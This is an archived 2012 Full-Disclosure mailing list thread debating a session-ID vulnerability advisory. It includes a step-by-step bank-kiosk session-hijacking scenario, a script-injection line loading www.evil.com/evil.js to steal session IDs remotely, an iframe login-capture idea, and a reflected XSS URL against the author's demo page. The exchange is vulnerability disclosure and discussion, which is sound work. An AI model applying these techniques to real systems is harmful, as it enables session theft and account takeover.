Date: Fri, 13 Jul 2012 18:28:56 +0300
From: Gökhan Muharremoglu <gokmuh@...mail.com>
To: Gage Bystrom <themadichib0d@...il.com>
Cc: "full-disclosure@...ts.grok.org.uk" <full-disclosure@...ts.grok.org.uk>
Subject: Re: Predefined Post Authentication Session ID
	Vulnerability

For evil.js you can not open another web site according to policy. 

Gökhan Muharremoğlu


On 13 Tem 2012, at 14:57, "Gage Bystrom" <themadichib0d@...il.com> wrote:

> Exactly, a niche scenario. I never said it /wasn't/ a vulnerability,
> only that it doesn't warrant the severity you claim.
> 
> Also again, a situation where there are better things for an attack to do.
> 
> Yes you could do that to grab the session id, or whats stopping you
> from writing "javascript;document.write('<script
> type="text/javascript" src="www.evil.com/evil.js"></script>)?
> Presumably evil.js doing all sorts of nasty such as grabbing the
> session id and storing it remotely. Yes I'm aware you claimed policies
> are in place, but I'm curious if that approach was tried.
> 
> Or better yet, why not just load an iframe of the site's app itself?
> Theres all sorts of known nasties you can do with iframes, why not
> intercept all the the requests to the iframe(wiping out the main page
> with more js so things are transparent) and then store the stolen
> values of logins to a cookie? Screw the session id, you can get full
> logins that way. All you would need to do is swing by and do your
> "javascript;alert(document.cookie);" to fetch the results.
> 
> Also I'm no expert in javascript or heck even in web applications.
> That was just my first idea from a very basic knowledge, therefore we
> can assume that any remotely dedicated attacker can probably come up
> with an even cleaner solution, but the point still stands:
> 
> If you are worried about this vulnerability, you have bigger issues,
> ergo why are you even worried?
> 
> To me it'd be a lot like worrying if you are salting your passwords
> stored in a database properly when you are only xoring them. Yeah sure
> good salts are important to consider in isolation, but in that case
> you have bigger fish to fry. In this situation the bigger fish to fry
> is 'the attacker can run arbitrary js on the victim's side'.
> 
> As to the xss, that just illustrates my smaller point that your PoC is
> extremely vague. I only figured it out while I was typing my original
> email, and that was going off my own testing and ignoring your
> instructions which were only misleading me. Judging by some of the
> other responses here, I'd be hesitant to say I was the only one. Might
> wanna think about whats the common denominator here.
> 
> On Fri, Jul 13, 2012 at 4:23 AM, Gokhan Muharremoglu
> <gokhan.muharremoglu@...ec.org> wrote:
>> Ok. It seems i have to explain this vulnerability's effects with another
>> scenario.
>> 
>> This is a real life scenario and i wrote it in a Turkish article for
>> National Information Security Portal which is run by TUBITAK.
>> 
>> Article in Turkish with scenario =>
>> http://www.iosec.org/oturum_oncesi_tanimli_cerez.pdf
>> 
>> I  will explain it in English now.
>> 
>> There are KIOSK/Terminal machines at bank branches in Turkey. Customers can
>> reach to the regular Internet banking applicaton from here.
>> But these machines are restricted with policies and you can not view any
>> other web site or close browser page. But you can type in to the address
>> bar.
>> All you can do is to enter bank's internet web application.
>> 
>> Here is the scenario (taken from real life):
>> 
>> 1. Type "javascript:alert(document.cookie)" to the address bar and copy all
>> information including Session ID.
>> 2. Wait for a victim who logs in to the KIOSK.
>> 3. After he/she logins, use your copied Session ID to login as him/her.
>> 
>> In this scenario;
>> There was no same-origin restrction,
>> There was no httpOnly cookie tag.
>> 
>> Always remember "A chain is only as strong as its weakest link". This is a
>> vulnerability, it's attacker's and conditions' decision how to use it.
>> 
>> You can use wider vision to consider about real life scenarios.
>> 
>> Gokhan Muharremoglu
>> 
>> -----Original Message-----
>> From: Gage Bystrom [mailto:themadichib0d@...il.com]
>> Sent: Friday, July 13, 2012 1:40 PM
>> To: Gokhan Muharremoglu; full-disclosure@...ts.grok.org.uk
>> Subject: Re: [Full-disclosure] Predefined Post Authentication Session ID
>> Vulnerability
>> 
>> Ok after playing around and re-reading the advisory I was finally able to
>> get the PoC to work. While it is interesting once your actually see it work
>> I simply do not believe it warrants the severity you have described. The man
>> reason why I say this is because any attacker in a position to modify a
>> victim's session id is simply in a position to do better things. Why go
>> through the niche roundabout way when you can just simply jack the
>> authenticated session ID?
>> 
>> The only conceivable scenario I can think of would be in the case of a
>> stored XSS that isn't present after authentication, in which case stealing
>> the session ID before hand would be a much better avenue and more in line
>> with what you are trying to warn about(maybe you should make the PoC reflect
>> that to better illustrate your point). Even then we are talking about a
>> really niche attack.
>> 
>> Basically this sounds like a classic example of: "Yes, technically this is
>> abusable, but if you are worried about this, you have bigger problems to
>> deal with."
>> 
>> Speaking of xss your vuln page has one:
>> 
>> http://www.iosec.org/iosec_login_vulnerable.php?user=%3Cscript%3Ealert%28%22
>> Told%20ya%20so%22%29%3C/script%3E&failed=1
>> 
>> not to mention an arbitrary(even non-existent users) account change:
>> 
>> http://www.iosec.org/iosec_login_vulnerable.php?user=admin
>> ((after logging in, not that the result page is much))
>> 
>> Yeah, yeah I know it's meant to be vulnerable to begin with, but you should
>> really make sure a PoC vulnerable page is only vulnerable to what you are
>> trying to demonstrate, otherwise it can be hard to identify if this is a
>> serious issue or just an example of your personal screw ups, generally
>> speaking at least.
>> 
>> On Fri, Jul 13, 2012 at 1:46 AM, Gokhan Muharremoglu
>> <gokhan.muharremoglu@...ec.org> wrote:
>>> You can find an example page and combined vulnerabilities below URL.
>>> This example login page is affected by Predefined Post Authentication
>>> Session ID Vulnerability.
>>> This vulnerability can lead a social engineering scenario or other
>>> hijacking attack scenarios when mixed with other vulnerabilities (such
>> XSS).
>>> 
>>> For proof of concept:
>>> 
>>> http://www.iosec.org/iosec_login_vulnerable.php
>>> 
>>> 
>>> Predefined Post Authentication Session ID Vulnerability is a
>>> Vendor-neutral vulnerability and it let attackers to design new attack
>> scenarios.
>>> A lot of web application on the Internet affected by this vulnerability.
>>> 
>>> -----------------------
>>> Vulnerability Name: Predefined Post Authentication Session ID
>>> Vulnerability
>>> Type: Improper Session Handling
>>> Impact: Session Hijacking
>>> Level: Medium
>>> Date: 10.07.2012
>>> Vendor: Vendor-neutral
>>> Issuer: Gokhan Muharremoglu
>>> E-mail: gokhan.muharremoglu@...ec.org
>>> 
>>> 
>>> VULNERABILITY
>>> If a web application starts a session and defines a session id before
>>> a user authenticated, this session id must be changed after a
>>> successful authentication. If web application uses the same session id
>>> before and after authentication, any legitimate user who has gained
>>> the "before authentication" session id can hijack future "after
>>> authentication" sessions too.
>>> 
>>> MITIGATION
>>> To avoid this vulnerability, sessions must be regenerated after a
>>> successful login. In a session fixation attack, attacker fixates
>>> (sets) another person's (victim's) session identifier because of
>>> "never regenerated and validated" session id and this vulnerability
>>> can also lead to the Session Fixation attack or etc.
>>> 
>>> Gokhan Muharremoglu
>>> Information Security Specialist
>>> (CEH, ECSA, CIW-Web Security Professional, Security+, EXIN 27002 ISFS)
>>> 
>>> -----Original Message-----
>>> From: Jann Horn [mailto:jannhorn@...glemail.com]
>>> Sent: Friday, July 13, 2012 2:06 AM
>>> To: Gokhan Muharremoglu
>>> Cc: full-disclosure@...ts.grok.org.uk
>>> Subject: Re: [Full-disclosure] Predefined Post Authentication Session
>>> ID Vulnerability
>>> 
>>> On Wed, Jul 11, 2012 at 11:34:11AM +0300, Gokhan Muharremoglu wrote:
>>>> Vulnerability Name: Predefined Post Authentication Session ID
>>>> Vulnerability
>>>> Type: Improper Session Handling
>>>> Impact: Session Hijacking
>>>> Level: Medium
>>>> Date: 10.07.2012
>>>> Vendor: Vendor-neutral
>>>> Issuer: Gokhan Muharremoglu
>>>> E-mail: gokhan.muharremoglu@...ec.org
>>>> 
>>>> 
>>>> VULNERABILITY
>>>> If a web application starts a session and defines a session id before
>>>> a user authenticated, this session id must be changed after a
>>>> successful authentication. If web application uses the same session
>>>> id before and after authentication, any legitimate user who has
>>>> gained the "before authentication" session id can hijack future
>>>> "after authentication" sessions too.
>>> 
>>> Uh, so, erm, you assume that someone can steal my cookie/set
>>> it/whatever although the Same Origin Policy should clearly not allow
>>> that, and then, after I have logged in, he can't just steal my cookie?
>>> Unless you allow setting the session-ID via an URL or so (which would
>>> IMO be pretty stupid), I can't see how this is a realistic,
>>> vendor-neutral attack. Could you explain this a bit better? I don't get
>> it.
>>> 
>>> _______________________________________________
>>> Full-Disclosure - We believe in it.
>>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>>> Hosted and sponsored by Secunia - http://secunia.com/
>> 
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists